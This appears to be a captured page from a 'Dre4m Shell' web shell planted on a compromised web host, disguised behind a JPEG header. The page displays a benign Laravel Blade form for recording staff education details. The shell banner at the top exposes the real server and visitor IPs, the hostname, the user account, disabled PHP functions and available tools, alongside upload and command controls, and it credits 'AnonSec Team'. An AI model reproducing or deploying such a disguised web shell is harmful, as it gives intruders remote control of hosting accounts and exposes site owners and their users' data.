ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.141.45.35
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/Education/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/Education/create.blade.php
@extends('layouts.layout')

@section('pageTitle')
 Add Education
@endsection

@section('content')
 <div class="box box-default">
    <div class="box-body box-profile">
    	<div class="box-header with-border hidden-print">
        	<h3 class="box-title"><b>@yield('pageTitle')</b> 
        		<big><b class="text-green"> - {{strtoupper($getStaff->surname." ".$getStaff->first_name." ".$getStaff->othernames)}}</b></big><span id='processing'></span>
        	</h3>
    	</div>
		  <form method="post" action="{{ url('/education/create') }}" enctype="multipart/form-data">
		  <div class="box-body">
		        <div class="row">
		            <div class="col-md-12"><!--1st col-->
		                @if (count($errors) > 0)
							<div class="alert alert-danger alert-dismissible" role="alert">
								<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
								</button>
								<strong>Error!</strong> 
								@foreach ($errors->all() as $error)
									<p>{{ $error }}</p>
								@endforeach
							</div>
		                @endif
		                       
						@if(session('msg'))
		                    <div class="alert alert-success alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Success!</strong> 
								{{ session('msg') }} 
						    </div>                        
		                @endif

		                @if(session('err'))
		                    <div class="alert alert-warning alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Not Allowed ! </strong> 
								{{ session('err') }}
						    </div>                        
		                @endif

		            </div>
					{{ csrf_field() }}

						<div class="col-md-12"><!--2nd col-->

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="fullName">Degrees & Professional Qualifications</label> 
										@php if(($details != "")){ @endphp
											<select name="degreeQualification" class="form-control">
												<option>{{$details->degreequalification}}</option>
												@foreach($qualificationList as $qList)
												<option>{{$qList->qualification}}</option>
												@endforeach
											</select>
											<!--<input type="text" name="degreeQualification" class="form-control" value="{{$details->degreequalification}}"/>-->
										@php }else{ @endphp
											<select name="degreeQualification" class="form-control">
												<option></option>
												@foreach($qualificationList as $qList)
												<option>{{$qList->qualification}}</option>
												@endforeach
											</select>
											<!--<input type="text" name="degreeQualification" class="form-control" value="{{old('degreeQualification')}}" />-->
										@php } @endphp

										<!--NOTE: THIS'S FOR EDITTING-->
										@php if(($details != "")){ @endphp
											<input type="hidden" name="id" value="{{$details->id}}"/>
										@php }else{ @endphp
											<input type="hidden" name="id" value=""/>
										@php } @endphp

									</div>
								</div>
								<div class="col-md-6">
									<div class="form-group">
										<label for="month">School Attended</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="schoolAttended" class="form-control" value="{{$details->schoolattended}}"/>
										@php }else{ @endphp
											<input type="text" name="schoolAttended" class="form-control" value="{{old('schoolAttended')}}" />
										@php } @endphp	
									</div>
								</div>	
							</div>	

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="schoolFrom">School Attended From</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="schoolFrom2" id="schoolFrom2" class="form-control" value="{{date('d M, Y', strtotime($details->schoolfrom))}}" />
											<input type="hidden" name="schoolFrom" id="schoolFrom" value="{{$details->schoolfrom}}" />
										@php }else{ @endphp
											<input type="text" name="schoolFrom2" id="schoolFrom2" value="{{old('schoolFrom2')}}" class="form-control" />
												<input type="hidden" name="schoolFrom" id="schoolFrom" value="{{old('schoolFrom')}}" />
										@php } @endphp
									</div>
								</div>
								<div class="col-md-6">
									<div class="form-group">
										<label for="schoolTo">School Attended To</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="schoolTo2" id="schoolTo2" class="form-control" value="{{date('d M, Y', strtotime($details->schoolto))}}" />
											<input type="hidden" name="schoolTo" id="schoolTo" value="{{$details->schoolto}}" />
										@php }else{ @endphp
											<input type="text" name="schoolTo2" id="schoolTo2" value="{{old('schoolTo2')}}" class="form-control" />
												<input type="hidden" name="schoolTo" id="schoolTo" value="{{old('schoolTo')}}" />
										@php } @endphp
									</div>
								</div>
							</div>

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="certificateHeld">School Certificates Held</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="certificateHeld" class="form-control" value="{{$details->certificateheld}}"/>
										@php }else{ @endphp
											<input type="text" name="certificateHeld" class="form-control" value="{{old('certificateHeld')}}" />
										@php } @endphp
									</div>
								</div>	
								<div class="col-md-6">
									<div class="form-group">
										<label for="checkedEducation">Checked By</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="checkedEducation" value="{{$details->checkededucation}}" class="form-control" />
										 @php }else{ @endphp
										 	<input type="text" name="checkedEducation" class="form-control" value="{{old('checkedEducation')}}" />
										 @php } @endphp
									</div>  
								</div>
							</div>

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="document">Attach a Scanned Document (Optional)</label>
										<input type="file" name="document" class="form-control" />
									</div>
								</div>	
								<div class="col-md-6">
								</div>
							</div>

			
							<hr />
							<div class="row">
								<div class="col-md-12">

								<div class="col-md-3">
									<div align="left" class="form-group">
										<label for="month">&nbsp;</label><br />
										<a href="{{url('/profile/details/'.$getStaff->fileNo)}}" title="Back to profile" class="btn btn-warning"><i class="fa fa-arrow-circle-left"></i> Back </a>
									</div>
								</div>
								
								<div class="col-md-9">
									<div align="right" class="form-group">
										<label for="month">&nbsp;</label><br />
										<button name="action" class="btn btn-success" type="submit">
											Update/Add New <i class="fa fa-save"></i> 
										</button>
									</div>
								</div>
								
										
								</div>
							</div>	
							<hr />

					<table class="table table-striped table-hover">
						<thead>
							<tr>
								<th>S/N</th>
								<th>Surname</th>
								<th>FileNo</th>
								<th>Degrees & Prof. Qualifications</th>
								<th>School Attended</th>
								<th>From</th>
								<th>To</th>
								<th>Certificates Held</th>
								<th>Checked By</th>
								<th>Doc.</th>
								<th>Edit</th>
								<th></th>
							</tr>
						</thead>
						<tbody>
						@php if($educationList != ''){ @endphp
							@php $key = 1 @endphp
							@foreach($educationList as $list)
							<tr>
								<td>{{$key ++}}</td>
								<td>{{$list->surname}}</td>
								<td>{{$list->fileNo}}</td>
								<td>{{$list->degreequalification}}</td>
								<td>{{$list->schoolattended}}</td>
								<td>{{$list->schoolfrom}}</td>
								<td>{{$list->schoolto}}</td>
								<td>{{$list->certificateheld}}</td>
								<td>{{$list->checkededucation}}</td>
								<td>
								@php if($list->document != ""){ @endphp
									<a href="{{asset('document/'.$list->document)}}" target="_blank">
										<i class="fa fa-download"></i>
									</a>
								@php }else{ @endphp
										No File
								@php } @endphp 
								</td>
								<td>
									<a href="{{url('/education/edit/'.$list->id)}}" title="Edit" class="btn btn-sm btn-success fa fa-edit"></a>
								</td>
								<td>
									<!--<a href="{{url('/education/remove/'.$list->id)}}" title="Remove" class="btn btn-sm btn-warning fa fa-trash"></a>-->
								</td>
							</tr>
							@endforeach
						@php
						}else{ @endphp
								<tr>
								<td colspan="11" class="text-center">No details provided yet !</td>
								</tr>
						@php } @endphp

						</tbody>
					</table>
					</div>
		        </div><!-- /.col -->
		    </div><!-- /.row -->
		  </form>
		   
	</div>
</div>
@endsection
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@endsection
@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
  <script type="text/javascript">

	$( function() {
	    $("#schoolFrom2").datepicker({
	    	changeMonth: true,
	    	changeYear: true,
	    	yearRange: '1910:2090', // specifying a hard coded year range
		    showOtherMonths: true,
		    selectOtherMonths: true, 
		    dateFormat: "dd MM, yy",
		    //dateFormat: "D, MM d, yy",
		    onSelect: function(dateText, inst){
		    	var theDate = new Date(Date.parse($(this).datepicker('getDate')));
				var dateFormatted = $.datepicker.formatDate('yy-mm-d', theDate);
				$("#schoolFrom").val(dateFormatted);
        	},
		});
  	});

  	$( function() {
	    $("#schoolTo2").datepicker({
	    	changeMonth: true,
	    	changeYear: true,
	    	yearRange: '1910:2090', // specifying a hard coded year range
		    showOtherMonths: true,
		    selectOtherMonths: true, 
		    dateFormat: "dd MM, yy",
		    //dateFormat: "D, MM d, yy",
		    onSelect: function(dateText, inst){
		    	var theDate = new Date(Date.parse($(this).datepicker('getDate')));
				var dateFormatted = $.datepicker.formatDate('yy-mm-d', theDate);
				$("#schoolTo").val(dateFormatted);
        	},
		});
  	});

</script>
@endsection

Anon7 - 2022
AnonSec Team